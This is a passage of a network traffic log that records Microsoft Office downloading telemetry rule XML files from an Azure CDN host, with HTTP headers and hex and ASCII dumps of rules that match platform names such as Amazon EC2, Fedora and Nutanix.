R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.4	49804	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:05 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:14:05 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:05 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 2b9d96d3-301e-0020-4e31-276299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191405Z-16849878b78qg9mlz11wgn0wcc000000081000000000f79f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 19:14:05 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.4	49807	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:05 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:14:06 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:05 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: e113be9f-801e-0035-547f-2a752a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191405Z-17c5cb586f67hfgj2durhqcxk800000007c000000000ak86 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 19:14:06 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.4	49808	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:06 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:14:06 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:06 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: a1cd263b-b01e-0070-5f2a-271cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191406Z-16849878b786fl7gm2qg4r5y7000000008pg00000000px8m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 19:14:06 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.4	49809	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:06 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:14:06 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:06 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: a606ba7c-601e-003d-0781-2a6f25000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191406Z-159b85dff8ftk4pxhC1DFWg5f000000000yg000000004zb6 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 19:14:06 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.4	49810	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:06 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:14:06 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:06 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 9f4f074d-601e-00ab-77c7-2a66f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191406Z-159b85dff8fz5jthhC1DFWg9b800000000p0000000001pty x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 19:14:06 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.4	49811	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:06 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:14:06 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:06 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 9e4d4e08-401e-0047-1d64-278597000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191406Z-16849878b78z2wx67pvzz63kdg000000073000000000akb4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 19:14:06 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.4	49812	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:06 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:14:06 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:06 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: c1b2f9d4-701e-0098-1062-26395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191406Z-16849878b78xblwksrnkakc08w00000007n000000000uh4y x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 19:14:06 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.4	49813	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:07 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:14:07 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:07 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 9921b831-601e-0097-069c-27f33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191407Z-16849878b78bjkl8dpep89pbgg000000074000000000k742 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 19:14:07 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.4	49814	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:07 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:14:07 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:07 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 57989b77-d01e-0049-621c-27e7dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191407Z-16849878b78z2wx67pvzz63kdg000000071g00000000h29y x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 19:14:07 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.4	49815	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:07 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:14:07 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:07 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 12c3b8a8-601e-0084-2933-2a6b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191407Z-159b85dff8fhxqdbhC1DFW5pzn00000000f00000000080ax x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 19:14:07 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.4	49816	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:07 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:14:07 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:07 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 3c5c3d60-c01e-0066-4c9e-26a1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191407Z-16849878b78zqkvcwgr6h55x9n00000007y0000000009zxr x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 19:14:07 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.4	49817	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:07 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:14:07 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:07 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: c2db9b5f-901e-0015-105a-27b284000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191407Z-16849878b78g2m84h2v9sta290000000078000000000zb1x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
